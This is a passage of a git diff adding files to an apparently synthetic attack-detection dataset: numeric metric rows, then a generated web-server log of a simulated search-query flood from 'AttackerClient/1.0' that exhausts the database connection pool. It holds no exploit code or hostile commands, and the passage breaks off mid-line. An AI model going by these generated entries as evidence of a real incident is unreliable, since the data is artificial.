+2025-07-02T12:05:15Z,99.28454207268982,90.25449790444257,316.2049899330359,14.563092429511933,0.9885840795452825 +2025-07-02T12:05:20Z,99.57444803809481,91.9782242739816,229.09368795768938,14.423664079631076,1.6601591667370468 +2025-07-02T12:05:25Z,99.76419371882035,87.75284380426488,205.6619407352955,15.763416762708799,1.9058942883156846 +2025-07-02T12:05:30Z,98.1843854185636,94.18034961158057,202.65980419471222,11.206050206437942,2.1573864413090234 +2025-07-02T12:05:35Z,98.22999375405242,88.52907637311668,289.686548448038,18.17949388779433,2.92764707775997 +2025-07-02T12:05:40Z,99.47948781614978,85.23740363463764,289.9404873336067,15.881114513179366,1.8992493102213353 +2025-07-02T12:05:45Z,98.11881257610156,93.75361825139612,276.133519180263,15.365049143111095,2.012214524255074 +2025-07-02T12:05:50Z,98.72913159773434,87.95728401848122,204.0427579018731,15.17016649284249,2.106647025795212 +2025-07-02T12:05:55Z,99.31882952757124,92.38562208284294,220.4570168446135,13.52812610684971,1.8426170095228165 +2025-07-02T12:06:00Z,99.01807473818273,92.14302355241072,221.64152095381897,14.905526415169698,1.7224385865187524 +2025-07-02T12:06:05Z,99.8662332583468,88.09062463389051,337.07309557176893,11.787006884673428,2.082267282108665 +2025-07-02T12:06:10Z,99.66932310083227,88.32343197291495,337.8571980915599,15.755739273769343,2.758808015146098 +2025-07-02T12:06:15Z,99.02401919518981,93.19245197198319,239.33123105899494,17.283831921652624,2.252270592103799 +2025-07-02T12:06:20Z,98.126274891389,91.42606655161583,227.90281797331258,16.142470697901018,1.7930446847598622 +2025-07-02T12:06:25Z,98.08556500997068,86.35889241174566,271.79783163016117,18.564408135075663,0.9788517906079621 +2025-07-02T12:06:30Z,99.88781998204688,88.33124648650531,263.4292673227803,14.773090145379387,2.3428105785760205 +2025-07-02T12:06:35Z,98.27256086567375,86.52950171602578,311.75260894037655,16.408525609483746,2.5855302795637556 +2025-07-02T12:06:40Z,99.81816379337837,93.06148765098723,209.57078325487913,11.036250334035083,2.3856276983922404 +2025-07-02T12:06:45Z,99.7113577497449,88.01482319743637,337.06995453828205,16.692314880911667,1.756668337563312 +2025-07-02T12:06:50Z,98.58856588883309,91.28313500958333,271.5919202870777,14.513683194582697,1.4511837103400165 +2025-07-02T12:06:55Z,99.2629229892918,91.27390040082251,323.15691215961215,13.927483650450833,1.0628189542616648 +2025-07-02T12:07:00Z,99.93435405298219,92.1647720320474,236.9935786724072,13.325111468607123,3.528600591290964 +2025-07-02T12:07:05Z,99.0109728551464,85.71150685513838,223.44759057871744,16.416291633146212,1.9912943720838086 +2025-07-02T12:07:10Z,99.84852484053805,85.68404257842786,345.0752528284274,12.41833468928919,1.6004647311418911 +2025-07-02T12:07:15Z,99.5398261126163,94.16190530029498,267.3920344838729,16.23429025072347,2.6671892495862206 +2025-07-02T12:07:20Z,99.13033766936962,89.6578146140603,338.0131272142643,15.491996386996988,1.810996521192219 +2025-07-02T12:07:25Z,98.39619692914371,89.30577832083483,301.41649451253403,14.886393316752844,2.850153686352348 diff --git a/mali_dataset/scenario_12/mali_12_4.log b/mali_dataset/scenario_12/mali_12_4.log new file mode 100644 index 0000000000000000000000000000000000000000..b7c47f453f898592c3eadd4aba2bfaf3dd165d04 --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_4.log @@ -0,0 +1,324 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/40 status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:20 web-app[1234]: GET /api/v1/user/68 status=200 OK +Jul 02 12:00:40 web-app[1234]: GET /api/v1/user/90 status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/1 status=200 OK +Jul 02 12:01:20 web-app[1234]: GET /api/v1/user/64 status=200 OK +Jul 02 12:01:40 web-app[1234]: GET /api/v1/user/57 status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/81 status=200 OK +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/99 status=200 OK +Jul 02 12:02:30 192.168.82.200 - - [02/Jul/2025:12:02:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_290" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:30 192.168.72.129 - - [02/Jul/2025:12:02:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_774" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:30 192.168.73.60 - - [02/Jul/2025:12:02:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_801" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:30 192.168.216.177 - - [02/Jul/2025:12:02:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_482" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:30 192.168.128.100 - - [02/Jul/2025:12:02:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_860" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:30 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:02:35 192.168.66.186 - - [02/Jul/2025:12:02:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_735" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:35 192.168.224.30 - - [02/Jul/2025:12:02:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_746" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:35 192.168.42.243 - - [02/Jul/2025:12:02:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_376" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:40 192.168.173.250 - - [02/Jul/2025:12:02:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_374" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:40 192.168.195.12 - - [02/Jul/2025:12:02:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_350" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:40 192.168.115.37 - - [02/Jul/2025:12:02:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_749" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:40 192.168.28.66 - - [02/Jul/2025:12:02:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_387" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.167.201 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_374" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.196.160 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_835" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.28.66 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_832" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.157.71 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_334" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.123.70 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_480" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.82.200 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_41" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.171.143 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_432" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.34.30 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_182" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.48.248 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_386" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.86.134 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_97" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.109.226 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_444" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.203.219 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_797" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.77.123 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_371" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.144.99 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_864" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:55 192.168.216.177 - - [02/Jul/2025:12:02:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_487" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:55 192.168.86.134 - - [02/Jul/2025:12:02:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_975" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:55 192.168.167.201 - - [02/Jul/2025:12:02:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_484" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:55 192.168.247.39 - - [02/Jul/2025:12:02:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_796" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:55 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:02:55 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:03:00 192.168.221.1 - - [02/Jul/2025:12:03:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_847" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:00 192.168.224.30 - - [02/Jul/2025:12:03:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_100" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:00 192.168.86.134 - - [02/Jul/2025:12:03:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_672" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:00 192.168.34.30 - - [02/Jul/2025:12:03:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_775" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:00 192.168.72.129 - - [02/Jul/2025:12:03:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_884" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:00 mysqld[6789]: WARNING Aborted connection 166 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:03:05 192.168.77.236 - - [02/Jul/2025:12:03:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_207" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:05 192.168.77.123 - - [02/Jul/2025:12:03:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_498" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:05 192.168.79.28 - - [02/Jul/2025:12:03:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_443" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.145.84 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_688" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.167.29 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_295" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.241.140 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_655" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.50.169 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_835" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.77.236 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_197" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.179.126 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_677" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:15 192.168.71.37 - - [02/Jul/2025:12:03:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_386" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:15 192.168.66.186 - - [02/Jul/2025:12:03:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_825" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:15 192.168.195.12 - - [02/Jul/2025:12:03:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_553" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.77.123 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_887" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.158.81 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_791" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.86.134 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_526" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.34.30 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_472" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.115.37 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_471" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.2.217 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_740" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:03:25 192.168.123.70 - - [02/Jul/2025:12:03:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_610" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:25 192.168.77.123 - - [02/Jul/2025:12:03:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_313" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:25 192.168.213.67 - - [02/Jul/2025:12:03:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_269" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:25 192.168.152.63 - - [02/Jul/2025:12:03:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_260" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:30 192.168.42.197 - - [02/Jul/2025:12:03:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_638" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:30 192.168.157.71 - - [02/Jul/2025:12:03:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_35" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:30 192.168.221.1 - - [02/Jul/2025:12:03:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_974" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:30 192.168.123.70 - - [02/Jul/2025:12:03:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_254" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:30 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:03:35 192.168.82.200 - - [02/Jul/2025:12:03:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_659" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:35 192.168.42.243 - - [02/Jul/2025:12:03:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_213" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:35 192.168.224.30 - - [02/Jul/2025:12:03:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_20" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.158.81 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_464" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.224.30 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_245" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.171.143 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_597" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.51.24 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_956" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.66.186 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_217" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.86.134 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_776" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:45 192.168.42.243 - - [02/Jul/2025:12:03:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_200" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:45 192.168.36.154 - - [02/Jul/2025:12:03:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_161" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:45 192.168.34.30 - - [02/Jul/2025:12:03:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_863" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:45 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:03:45 mysqld[6789]: WARNING Aborted connection 182 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:03:50 192.168.158.81 - - [02/Jul/2025:12:03:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_850" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:50 192.168.241.140 - - [02/Jul/2025:12:03:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_723" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:50 192.168.42.243 - - [02/Jul/2025:12:03:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_166" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:50 192.168.196.160 - - [02/Jul/2025:12:03:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_905" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:55 192.168.72.129 - - [02/Jul/2025:12:03:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_579" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:55 192.168.167.29 - - [02/Jul/2025:12:03:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_53" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:55 192.168.50.169 - - [02/Jul/2025:12:03:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_597" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:55 192.168.102.19 - - [02/Jul/2025:12:03:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_645" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:00 192.168.50.169 - - [02/Jul/2025:12:04:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_496" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:00 192.168.102.19 - - [02/Jul/2025:12:04:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_167" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:00 192.168.145.84 - - [02/Jul/2025:12:04:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_24" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:00 192.168.50.169 - - [02/Jul/2025:12:04:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_397" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:00 192.168.167.29 - - [02/Jul/2025:12:04:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_33" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.171.143 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_385" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.203.219 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_275" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.82.200 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_127" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.250.143 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_43" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.213.67 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_914" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.51.24 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_601" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.2.217 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_36" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:04:10 192.168.109.226 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_784" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 192.168.203.219 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_838" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 192.168.213.67 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_952" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 192.168.102.19 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_685" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 192.168.50.169 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_766" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 192.168.77.123 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_808" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:04:15 192.168.173.250 - - [02/Jul/2025:12:04:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_163" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:15 192.168.115.37 - - [02/Jul/2025:12:04:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_766" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:15 192.168.234.70 - - [02/Jul/2025:12:04:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_808" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:15 192.168.86.134 - - [02/Jul/2025:12:04:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_391" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:15 192.168.42.197 - - [02/Jul/2025:12:04:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_943" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:20 192.168.50.169 - - [02/Jul/2025:12:04:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_576" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:20 192.168.123.70 - - [02/Jul/2025:12:04:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_736" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:20 192.168.195.12 - - [02/Jul/2025:12:04:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_312" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:20 192.168.152.63 - - [02/Jul/2025:12:04:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_730" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:20 192.168.158.81 - - [02/Jul/2025:12:04:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_840" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:25 192.168.77.123 - - [02/Jul/2025:12:04:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_288" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:25 192.168.128.100 - - [02/Jul/2025:12:04:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_102" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:25 192.168.224.30 - - [02/Jul/2025:12:04:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_304" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:25 192.168.128.100 - - [02/Jul/2025:12:04:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_294" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.195.12 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_914" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.171.143 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_86" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.247.39 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_993" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.158.81 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_343" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.42.243 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_802" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.195.12 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_247" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 mysqld[6789]: WARNING Aborted connection 145 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:04:35 192.168.36.154 - - [02/Jul/2025:12:04:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_537" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:35 192.168.115.37 - - [02/Jul/2025:12:04:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_911" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:35 192.168.34.30 - - [02/Jul/2025:12:04:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_389" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:35 192.168.196.160 - - [02/Jul/2025:12:04:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_323" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:35 192.168.173.250 - - [02/Jul/2025:12:04:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_505" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:35 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:04:40 192.168.71.37 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_660" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.71.37 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_171" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.144.99 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_393" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.171.143 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_52" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.34.30 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_114" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.183.236 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_41" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.73.60 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_348" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:04:45 192.168.158.81 - - [02/Jul/2025:12:04:45 +0000] "GET 